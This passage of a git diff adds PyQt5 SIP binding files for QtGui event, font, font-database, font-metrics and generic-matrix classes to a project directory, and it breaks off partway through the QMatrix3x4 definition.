+%TypeHeaderCode +#include +%End + +public: + QActionEvent(int type, QAction *action, QAction *before = 0); + virtual ~QActionEvent(); + QAction *action() const; + QAction *before() const; +}; + +class QFileOpenEvent : QEvent /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QFileOpenEvent(); + QString file() const; + QUrl url() const; + bool openFile(QFile &file, QIODevice::OpenMode flags) const; +}; + +class QShortcutEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + QShortcutEvent(const QKeySequence &key, int id, bool ambiguous = false); + virtual ~QShortcutEvent(); + bool isAmbiguous() const; + const QKeySequence &key() const; + int shortcutId() const; +}; + +class QWindowStateChangeEvent : QEvent /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QWindowStateChangeEvent(); + Qt::WindowStates oldState() const; +}; + +class QTouchEvent : QInputEvent +{ +%TypeHeaderCode +#include +%End + +public: + class TouchPoint /NoDefaultCtors/ + { +%TypeHeaderCode +#include +%End + + public: + int id() const; + Qt::TouchPointState state() const; + QPointF pos() const; + QPointF startPos() const; + QPointF lastPos() const; + QPointF scenePos() const; + QPointF startScenePos() const; + QPointF lastScenePos() const; + QPointF screenPos() const; + QPointF startScreenPos() const; + QPointF lastScreenPos() const; + QPointF normalizedPos() const; + QPointF startNormalizedPos() const; + QPointF lastNormalizedPos() const; + QRectF rect() const; + QRectF sceneRect() const; + QRectF screenRect() const; + qreal pressure() const; + + enum InfoFlag + { + Pen, +%If (Qt_5_8_0 -) + Token, +%End + }; + + typedef QFlags InfoFlags; + QVector2D velocity() const; + QTouchEvent::TouchPoint::InfoFlags flags() const; + QVector rawScreenPositions() const; +%If (Qt_5_8_0 -) + QPointingDeviceUniqueId uniqueId() const; +%End +%If (Qt_5_8_0 -) + qreal rotation() const; +%End +%If (Qt_5_9_0 -) + QSizeF ellipseDiameters() const; +%End + }; + + QTouchEvent(QEvent::Type eventType, QTouchDevice *device = 0, Qt::KeyboardModifiers modifiers = Qt::NoModifier, Qt::TouchPointStates touchPointStates = Qt::TouchPointStates(), const QList &touchPoints = QList()); + virtual ~QTouchEvent(); + QObject *target() const; + Qt::TouchPointStates touchPointStates() const; + const QList &touchPoints() const; + QWindow *window() const; + QTouchDevice *device() const; + void setDevice(QTouchDevice *adevice); +}; + +QFlags operator|(QTouchEvent::TouchPoint::InfoFlag f1, QFlags f2); +QFlags operator|(QTouchEvent::TouchPoint::InfoFlag f1, QTouchEvent::TouchPoint::InfoFlag f2); + +class QExposeEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + explicit QExposeEvent(const QRegion &rgn); + virtual ~QExposeEvent(); + const QRegion ®ion() const; +}; + +class QScrollPrepareEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + explicit QScrollPrepareEvent(const QPointF &startPos); + virtual ~QScrollPrepareEvent(); + QPointF startPos() const; + QSizeF viewportSize() const; + QRectF contentPosRange() const; + QPointF contentPos() const; + void setViewportSize(const QSizeF &size); + void setContentPosRange(const QRectF &rect); + void setContentPos(const QPointF &pos); +}; + +class QScrollEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + enum ScrollState + { + ScrollStarted, + ScrollUpdated, + ScrollFinished, + }; + + QScrollEvent(const QPointF &contentPos, const QPointF &overshoot, QScrollEvent::ScrollState scrollState); + virtual ~QScrollEvent(); + QPointF contentPos() const; + QPointF overshootDistance() const; + QScrollEvent::ScrollState scrollState() const; +}; + +bool operator==(QKeyEvent *e, QKeySequence::StandardKey key); +bool operator==(QKeySequence::StandardKey key, QKeyEvent *e); + +class QEnterEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + QEnterEvent(const QPointF &localPos, const QPointF &windowPos, const QPointF &screenPos); + virtual ~QEnterEvent(); + QPoint pos() const; + QPoint globalPos() const; + int x() const; + int y() const; + int globalX() const; + int globalY() const; + const QPointF &localPos() const; + const QPointF &windowPos() const; + const QPointF &screenPos() const; +}; + +class QAction /External/; +%If (Qt_5_2_0 -) + +class QNativeGestureEvent : QInputEvent +{ +%TypeHeaderCode +#include +%End + +public: + QNativeGestureEvent(Qt::NativeGestureType type, const QPointF &localPos, const QPointF &windowPos, const QPointF &screenPos, qreal value, ulong sequenceId, quint64 intArgument); +%If (Qt_5_10_0 -) + QNativeGestureEvent(Qt::NativeGestureType type, const QTouchDevice *dev, const QPointF &localPos, const QPointF &windowPos, const QPointF &screenPos, qreal value, ulong sequenceId, quint64 intArgument); +%End +%If (Qt_5_10_0 -) + virtual ~QNativeGestureEvent(); +%End + Qt::NativeGestureType gestureType() const; + qreal value() const; + const QPoint pos() const; + const QPoint globalPos() const; + const QPointF &localPos() const; + const QPointF &windowPos() const; + const QPointF &screenPos() const; +%If (Qt_5_10_0 -) + const QTouchDevice *device() const; +%End +}; + +%End +%If (Qt_5_5_0 -) + +class QPlatformSurfaceEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + enum SurfaceEventType + { + SurfaceCreated, + SurfaceAboutToBeDestroyed, + }; + + explicit QPlatformSurfaceEvent(QPlatformSurfaceEvent::SurfaceEventType surfaceEventType); + virtual ~QPlatformSurfaceEvent(); + QPlatformSurfaceEvent::SurfaceEventType surfaceEventType() const; +}; + +%End +%If (Qt_5_8_0 -) + +class QPointingDeviceUniqueId +{ +%TypeHeaderCode +#include +%End + +public: + QPointingDeviceUniqueId(); + static QPointingDeviceUniqueId fromNumericId(qint64 id); + bool isValid() const; + qint64 numericId() const; + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End +}; + +%End +%If (Qt_5_8_0 -) +bool operator==(QPointingDeviceUniqueId lhs, QPointingDeviceUniqueId rhs); +%End +%If (Qt_5_8_0 -) +bool operator!=(QPointingDeviceUniqueId lhs, QPointingDeviceUniqueId rhs); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qfont.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qfont.sip new file mode 100644 index 00000000..2fa7ddbd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qfont.sip @@ -0,0 +1,236 @@ +// qfont.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFont +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleHint + { + Helvetica, + SansSerif, + Times, + Serif, + Courier, + TypeWriter, + OldEnglish, + Decorative, + System, + AnyStyle, + Cursive, + Monospace, + Fantasy, + }; + + enum StyleStrategy + { + PreferDefault, + PreferBitmap, + PreferDevice, + PreferOutline, + ForceOutline, + PreferMatch, + PreferQuality, + PreferAntialias, + NoAntialias, +%If (Qt_5_4_0 -) + NoSubpixelAntialias, +%End + OpenGLCompatible, + NoFontMerging, + ForceIntegerMetrics, +%If (Qt_5_10_0 -) + PreferNoShaping, +%End + }; + + enum Weight + { +%If (Qt_5_5_0 -) + Thin, +%End +%If (Qt_5_5_0 -) + ExtraLight, +%End + Light, + Normal, +%If (Qt_5_5_0 -) + Medium, +%End + DemiBold, + Bold, +%If (Qt_5_5_0 -) + ExtraBold, +%End + Black, + }; + + enum Style + { + StyleNormal, + StyleItalic, + StyleOblique, + }; + + enum Stretch + { +%If (Qt_5_8_0 -) + AnyStretch, +%End + UltraCondensed, + ExtraCondensed, + Condensed, + SemiCondensed, + Unstretched, + SemiExpanded, + Expanded, + ExtraExpanded, + UltraExpanded, + }; + + QFont(); + QFont(const QString &family, int pointSize = -1, int weight = -1, bool italic = false); + QFont(const QFont &, QPaintDevice *pd); + QFont(const QFont &); + QFont(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new QFont(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + ~QFont(); + QString family() const; + void setFamily(const QString &); + int pointSize() const; + void setPointSize(int); + qreal pointSizeF() const; + void setPointSizeF(qreal); + int pixelSize() const; + void setPixelSize(int); + int weight() const; + void setWeight(int); + void setStyle(QFont::Style style); + QFont::Style style() const; + bool underline() const; + void setUnderline(bool); + bool overline() const; + void setOverline(bool); + bool strikeOut() const; + void setStrikeOut(bool); + bool fixedPitch() const; + void setFixedPitch(bool); + bool kerning() const; + void setKerning(bool); + QFont::StyleHint styleHint() const; + QFont::StyleStrategy styleStrategy() const; + void setStyleHint(QFont::StyleHint hint, QFont::StyleStrategy strategy = QFont::PreferDefault); + void setStyleStrategy(QFont::StyleStrategy s); + int stretch() const; + void setStretch(int); + bool rawMode() const; + void setRawMode(bool); + bool exactMatch() const; + bool operator==(const QFont &) const; + bool operator!=(const QFont &) const; + bool operator<(const QFont &) const; + bool isCopyOf(const QFont &) const; + void setRawName(const QString &); + QString rawName() const; + QString key() const; + QString toString() const; + bool fromString(const QString &); + static QString substitute(const QString &); + static QStringList substitutes(const QString &); + static QStringList substitutions(); + static void insertSubstitution(const QString &, const QString &); + static void insertSubstitutions(const QString &, const QStringList &); + static void removeSubstitutions(const QString &); + static void initialize(); + static void cleanup(); + static void cacheStatistics(); + QString defaultFamily() const; + QString lastResortFamily() const; + QString lastResortFont() const; + QFont resolve(const QFont &) const; + bool bold() const; + void setBold(bool enable); + bool italic() const; + void setItalic(bool b); + + enum Capitalization + { + MixedCase, + AllUppercase, + AllLowercase, + SmallCaps, + Capitalize, + }; + + enum SpacingType + { + PercentageSpacing, + AbsoluteSpacing, + }; + + qreal letterSpacing() const; + QFont::SpacingType letterSpacingType() const; + void setLetterSpacing(QFont::SpacingType type, qreal spacing); + qreal wordSpacing() const; + void setWordSpacing(qreal spacing); + void setCapitalization(QFont::Capitalization); + QFont::Capitalization capitalization() const; + + enum HintingPreference + { + PreferDefaultHinting, + PreferNoHinting, + PreferVerticalHinting, + PreferFullHinting, + }; + + QString styleName() const; + void setStyleName(const QString &styleName); + void setHintingPreference(QFont::HintingPreference hintingPreference); + QFont::HintingPreference hintingPreference() const; + void swap(QFont &other /Constrained/); +%If (Qt_5_3_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +%If (Qt_5_13_0 -) + QStringList families() const; +%End +%If (Qt_5_13_0 -) + void setFamilies(const QStringList &); +%End +}; + +QDataStream &operator<<(QDataStream &, const QFont & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QFont & /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qfontdatabase.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qfontdatabase.sip new file mode 100644 index 00000000..77039b1f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qfontdatabase.sip @@ -0,0 +1,112 @@ +// qfontdatabase.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFontDatabase +{ +%TypeHeaderCode +#include +%End + +public: + enum WritingSystem + { + Any, + Latin, + Greek, + Cyrillic, + Armenian, + Hebrew, + Arabic, + Syriac, + Thaana, + Devanagari, + Bengali, + Gurmukhi, + Gujarati, + Oriya, + Tamil, + Telugu, + Kannada, + Malayalam, + Sinhala, + Thai, + Lao, + Tibetan, + Myanmar, + Georgian, + Khmer, + SimplifiedChinese, + TraditionalChinese, + Japanese, + Korean, + Vietnamese, + Other, + Symbol, + Ogham, + Runic, + Nko, + }; + + static QList standardSizes(); + QFontDatabase(); + QList writingSystems() const; + QList writingSystems(const QString &family) const; + QStringList families(QFontDatabase::WritingSystem writingSystem = QFontDatabase::Any) const; + QStringList styles(const QString &family) const; + QList pointSizes(const QString &family, const QString &style = QString()); + QList smoothSizes(const QString &family, const QString &style); + QString styleString(const QFont &font); + QString styleString(const QFontInfo &fontInfo); + QFont font(const QString &family, const QString &style, int pointSize) const; + bool isBitmapScalable(const QString &family, const QString &style = QString()) const; + bool isSmoothlyScalable(const QString &family, const QString &style = QString()) const; + bool isScalable(const QString &family, const QString &style = QString()) const; + bool isFixedPitch(const QString &family, const QString &style = QString()) const; + bool italic(const QString &family, const QString &style) const; + bool bold(const QString &family, const QString &style) const; + int weight(const QString &family, const QString &style) const; + static QString writingSystemName(QFontDatabase::WritingSystem writingSystem); + static QString writingSystemSample(QFontDatabase::WritingSystem writingSystem); + static int addApplicationFont(const QString &fileName); + static int addApplicationFontFromData(const QByteArray &fontData); + static QStringList applicationFontFamilies(int id); + static bool removeApplicationFont(int id); + static bool removeAllApplicationFonts(); + static bool supportsThreadedFontRendering(); +%If (Qt_5_2_0 -) + + enum SystemFont + { + GeneralFont, + FixedFont, + TitleFont, + SmallestReadableFont, + }; + +%End +%If (Qt_5_2_0 -) + static QFont systemFont(QFontDatabase::SystemFont type); +%End +%If (Qt_5_5_0 -) + bool isPrivateFamily(const QString &family) const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qfontinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qfontinfo.sip new file mode 100644 index 00000000..6891aeb4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qfontinfo.sip @@ -0,0 +1,47 @@ +// qfontinfo.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFontInfo +{ +%TypeHeaderCode +#include +%End + +public: + QFontInfo(const QFont &); + QFontInfo(const QFontInfo &); + ~QFontInfo(); + QString family() const; + int pixelSize() const; + int pointSize() const; + qreal pointSizeF() const; + bool italic() const; + QFont::Style style() const; + int weight() const; + bool bold() const; + bool fixedPitch() const; + QFont::StyleHint styleHint() const; + bool rawMode() const; + bool exactMatch() const; + QString styleName() const; + void swap(QFontInfo &other /Constrained/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qfontmetrics.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qfontmetrics.sip new file mode 100644 index 00000000..2f0e7063 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qfontmetrics.sip @@ -0,0 +1,195 @@ +// qfontmetrics.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFontMetrics +{ +%TypeHeaderCode +#include +%End + +public: + explicit QFontMetrics(const QFont &); + QFontMetrics(const QFont &, QPaintDevice *pd); + QFontMetrics(const QFontMetrics &); + ~QFontMetrics(); + int ascent() const; + int descent() const; + int height() const; + int leading() const; + int lineSpacing() const; + int minLeftBearing() const; + int minRightBearing() const; + int maxWidth() const; + int xHeight() const; + bool inFont(QChar) const; + int leftBearing(QChar) const; + int rightBearing(QChar) const; + int width(QChar) const /PyName=widthChar/; + int width(const QString &text, int length = -1) const; + QRect boundingRect(QChar) const /PyName=boundingRectChar/; + QRect boundingRect(const QString &text) const; + QRect boundingRect(const QRect &rect, int flags, const QString &text, int tabStops = 0, SIP_PYLIST tabArray /AllowNone,TypeHint="Optional[List[int]]"/ = 0) const; +%MethodCode + int *tabarray = qtgui_tabarray(a4); + + sipRes = new QRect(sipCpp->boundingRect(*a0, a1, *a2, a3, tabarray)); + + if (!tabarray) + delete[] tabarray; +%End + + QRect boundingRect(int x, int y, int width, int height, int flags, const QString &text, int tabStops = 0, SIP_PYLIST tabArray /AllowNone,TypeHint="Optional[List[int]]"/ = 0) const; +%MethodCode + int *tabarray = qtgui_tabarray(a7); + + sipRes = new QRect(sipCpp->boundingRect(a0, a1, a2, a3, a4, *a5, a6, tabarray)); + + if (!tabarray) + delete[] tabarray; +%End + + QSize size(int flags, const QString &text, int tabStops = 0, SIP_PYLIST tabArray /AllowNone,TypeHint="Optional[List[int]]"/ = 0) const; +%MethodCode + int *tabarray = qtgui_tabarray(a3); + + sipRes = new QSize(sipCpp->size(a0, *a1, a2, tabarray)); + + if (!tabarray) + delete[] tabarray; +%End + + int underlinePos() const; + int overlinePos() const; + int strikeOutPos() const; + int lineWidth() const; + int averageCharWidth() const; + QString elidedText(const QString &text, Qt::TextElideMode mode, int width, int flags = 0) const; + bool operator==(const QFontMetrics &other) const; + bool operator!=(const QFontMetrics &other) const; + QRect tightBoundingRect(const QString &text) const; + bool inFontUcs4(uint character) const; + void swap(QFontMetrics &other /Constrained/); +%If (Qt_5_8_0 -) + int capHeight() const; +%End +%If (Qt_5_11_0 -) + int horizontalAdvance(const QString &, int length = -1) const; +%End +%If (Qt_5_14_0 -) + qreal fontDpi() const; +%End +}; + +class QFontMetricsF +{ +%TypeHeaderCode +#include +%End + +public: + explicit QFontMetricsF(const QFont &); + QFontMetricsF(const QFont &, QPaintDevice *pd); + QFontMetricsF(const QFontMetrics &); + QFontMetricsF(const QFontMetricsF &); + ~QFontMetricsF(); + qreal ascent() const; + qreal descent() const; + qreal height() const; + qreal leading() const; + qreal lineSpacing() const; + qreal minLeftBearing() const; + qreal minRightBearing() const; + qreal maxWidth() const; + qreal xHeight() const; + bool inFont(QChar) const; + qreal leftBearing(QChar) const; + qreal rightBearing(QChar) const; + qreal width(QChar) const /PyName=widthChar/; + qreal width(const QString &string) const; + QRectF boundingRect(QChar) const /PyName=boundingRectChar/; + QRectF boundingRect(const QString &string) const; + QRectF boundingRect(const QRectF &rect, int flags, const QString &text, int tabStops = 0, SIP_PYLIST tabArray /AllowNone,TypeHint="Optional[List[int]]"/ = 0) const; +%MethodCode + int *tabarray = qtgui_tabarray(a4); + + sipRes = new QRectF(sipCpp->boundingRect(*a0, a1, *a2, a3, tabarray)); + + if (!tabarray) + delete[] tabarray; +%End + + QSizeF size(int flags, const QString &text, int tabStops = 0, SIP_PYLIST tabArray /AllowNone,TypeHint="Optional[List[int]]"/ = 0) const; +%MethodCode + int *tabarray = qtgui_tabarray(a3); + + sipRes = new QSizeF(sipCpp->size(a0, *a1, a2, tabarray)); + + if (!tabarray) + delete[] tabarray; +%End + + qreal underlinePos() const; + qreal overlinePos() const; + qreal strikeOutPos() const; + qreal lineWidth() const; + qreal averageCharWidth() const; + QString elidedText(const QString &text, Qt::TextElideMode mode, qreal width, int flags = 0) const; + bool operator==(const QFontMetricsF &other) const; + bool operator!=(const QFontMetricsF &other) const; + QRectF tightBoundingRect(const QString &text) const; + bool inFontUcs4(uint character) const; + void swap(QFontMetricsF &other /Constrained/); +%If (Qt_5_8_0 -) + qreal capHeight() const; +%End +%If (Qt_5_11_0 -) + qreal horizontalAdvance(const QString &string, int length = -1) const; +%End +%If (Qt_5_14_0 -) + qreal fontDpi() const; +%End +}; + +%ModuleHeaderCode +// Used by QFontMetrics and QFontMetricsF. +int *qtgui_tabarray(PyObject *l); +%End + +%ModuleCode +// Convert an optional Python list to a 0 terminated array of integers on the +// heap. +int *qtgui_tabarray(PyObject *l) +{ + if (!l || l == Py_None) + return 0; + + int *arr = new int[PyList_Size(l) + 1]; + Py_ssize_t i; + + for (i = 0; i < PyList_Size(l); ++i) + arr[i] = SIPLong_AsLong(PyList_GetItem(l, i)); + + arr[i] = 0; + + return arr; +} +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qgenericmatrix.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qgenericmatrix.sip new file mode 100644 index 00000000..ea9a66f8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qgenericmatrix.sip @@ -0,0 +1,1214 @@ +// qgenericmatrix.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +// The implementation of QMatrix4x3. +class QMatrix4x3 +{ +%TypeHeaderCode +#include +%End + +%PickleCode + PYQT_FLOAT data[12]; + + // We want the data in row-major order. + sipCpp->copyDataTo(data); + + sipRes = Py_BuildValue((char *)"dddddddddddd", + (double)data[0], (double)data[1], (double)data[2], + (double)data[3], (double)data[4], (double)data[5], + (double)data[6], (double)data[7], (double)data[8], + (double)data[9], (double)data[10], (double)data[11]); +%End + +public: + QMatrix4x3(); + QMatrix4x3(const QMatrix4x3 &other); + explicit QMatrix4x3(SIP_PYOBJECT values /TypeHint="Sequence[float]"/); +%MethodCode + PYQT_FLOAT values[12]; + + if ((sipError = qtgui_matrixDataFromSequence(a0, 12, values)) == sipErrorNone) + sipCpp = new QMatrix4x3(values); +%End + + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + bool bad = false; + int i; + PyObject *m[12]; + PYQT_FLOAT data[12]; + + // The raw data is in column-major order but we want row-major order. + sipCpp->copyDataTo(data); + + for (i = 0; i < 12; ++i) + { + m[i] = PyFloat_FromDouble(data[i]); + + if (!m[i]) + bad = true; + } + + if (!bad) + { +#if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtGui.QMatrix4x3(" + "%R, %R, %R, " + "%R, %R, %R, " + "%R, %R, %R, " + "%R, %R, %R)", + m[0], m[1], m[2], + m[3], m[4], m[5], + m[6], m[7], m[8], + m[9], m[10], m[11]); +#else + sipRes = PyString_FromString("PyQt5.QtGui.QMatrix4x3("); + + for (i = 0; i < 12; ++i) + { + if (i != 0) + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + + PyString_ConcatAndDel(&sipRes, PyObject_Repr(m[i])); + } + + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); +#endif + } + + for (i = 0; i < 12; ++i) + Py_XDECREF(m[i]); +%End + + SIP_PYLIST data() /TypeHint="List[float]"/; +%MethodCode + sipError = qtgui_matrixDataAsList(12, sipCpp->constData(), &sipRes); +%End + + SIP_PYLIST copyDataTo() const /TypeHint="List[float]"/; +%MethodCode + PYQT_FLOAT values[12]; + + sipCpp->copyDataTo(values); + sipError = qtgui_matrixDataAsList(12, values, &sipRes); +%End + + SIP_PYOBJECT __getitem__(SIP_PYOBJECT) const; +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 4, 3, &row, &column)) == sipErrorNone) + { + sipRes = PyFloat_FromDouble(sipCpp->operator()(row, column)); + + if (!sipRes) + sipError = sipErrorFail; + } +%End + +%If (Qt_5_0_0 -) + void __setitem__(SIP_PYOBJECT, float); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 4, 3, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End +%If (- Qt_5_0_0) + void __setitem__(SIP_PYOBJECT, qreal); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 4, 3, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End + + bool isIdentity() const; + void setToIdentity(); + +%If (Qt_5_0_0 -) + void fill(float value); +%End +%If (- Qt_5_0_0) + void fill(qreal value); +%End + + QMatrix3x4 transposed() const; + + QMatrix4x3 &operator+=(const QMatrix4x3 &); + QMatrix4x3 &operator-=(const QMatrix4x3 &); + +%If (Qt_5_0_0 -) + QMatrix4x3 &operator*=(float); + QMatrix4x3 &operator/=(float); +%End +%If (- Qt_5_0_0) + QMatrix4x3 &operator*=(qreal); + QMatrix4x3 &operator/=(qreal); +%End + + bool operator==(const QMatrix4x3 &) const; + bool operator!=(const QMatrix4x3 &) const; +}; +// The implementation of QMatrix4x2. +class QMatrix4x2 +{ +%TypeHeaderCode +#include +%End + +%PickleCode + PYQT_FLOAT data[8]; + + // We want the data in row-major order. + sipCpp->copyDataTo(data); + + sipRes = Py_BuildValue((char *)"dddddddd", + (double)data[0], (double)data[1], + (double)data[2], (double)data[3], + (double)data[4], (double)data[5], + (double)data[6], (double)data[7]); +%End + +public: + QMatrix4x2(); + QMatrix4x2(const QMatrix4x2 &other); + explicit QMatrix4x2(SIP_PYOBJECT values /TypeHint="Sequence[float]"/); +%MethodCode + PYQT_FLOAT values[8]; + + if ((sipError = qtgui_matrixDataFromSequence(a0, 8, values)) == sipErrorNone) + sipCpp = new QMatrix4x2(values); +%End + + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + bool bad = false; + int i; + PyObject *m[8]; + PYQT_FLOAT data[8]; + + // The raw data is in column-major order but we want row-major order. + sipCpp->copyDataTo(data); + + for (i = 0; i < 8; ++i) + { + m[i] = PyFloat_FromDouble(data[i]); + + if (!m[i]) + bad = true; + } + + if (!bad) + { +#if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtGui.QMatrix4x2(" + "%R, %R, " + "%R, %R, " + "%R, %R, " + "%R, %R)", + m[0], m[1], + m[2], m[3], + m[4], m[5], + m[6], m[7]); +#else + sipRes = PyString_FromString("PyQt5.QtGui.QMatrix4x2("); + + for (i = 0; i < 8; ++i) + { + if (i != 0) + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + + PyString_ConcatAndDel(&sipRes, PyObject_Repr(m[i])); + } + + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); +#endif + } + + for (i = 0; i < 8; ++i) + Py_XDECREF(m[i]); +%End + + SIP_PYLIST data() /TypeHint="List[float]"/; +%MethodCode + sipError = qtgui_matrixDataAsList(8, sipCpp->constData(), &sipRes); +%End + + SIP_PYLIST copyDataTo() const /TypeHint="List[float]"/; +%MethodCode + PYQT_FLOAT values[8]; + + sipCpp->copyDataTo(values); + sipError = qtgui_matrixDataAsList(8, values, &sipRes); +%End + + SIP_PYOBJECT __getitem__(SIP_PYOBJECT) const; +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 4, 2, &row, &column)) == sipErrorNone) + { + sipRes = PyFloat_FromDouble(sipCpp->operator()(row, column)); + + if (!sipRes) + sipError = sipErrorFail; + } +%End + +%If (Qt_5_0_0 -) + void __setitem__(SIP_PYOBJECT, float); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 4, 2, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End +%If (- Qt_5_0_0) + void __setitem__(SIP_PYOBJECT, qreal); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 4, 2, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End + + bool isIdentity() const; + void setToIdentity(); + +%If (Qt_5_0_0 -) + void fill(float value); +%End +%If (- Qt_5_0_0) + void fill(qreal value); +%End + + QMatrix2x4 transposed() const; + + QMatrix4x2 &operator+=(const QMatrix4x2 &); + QMatrix4x2 &operator-=(const QMatrix4x2 &); + +%If (Qt_5_0_0 -) + QMatrix4x2 &operator*=(float); + QMatrix4x2 &operator/=(float); +%End +%If (- Qt_5_0_0) + QMatrix4x2 &operator*=(qreal); + QMatrix4x2 &operator/=(qreal); +%End + + bool operator==(const QMatrix4x2 &) const; + bool operator!=(const QMatrix4x2 &) const; +}; +// The implementation of QMatrix3x4. +class QMatrix3x4 +{ +%TypeHeaderCode +#include +%End + +%PickleCode + PYQT_FLOAT data[12]; + + // We want the data in 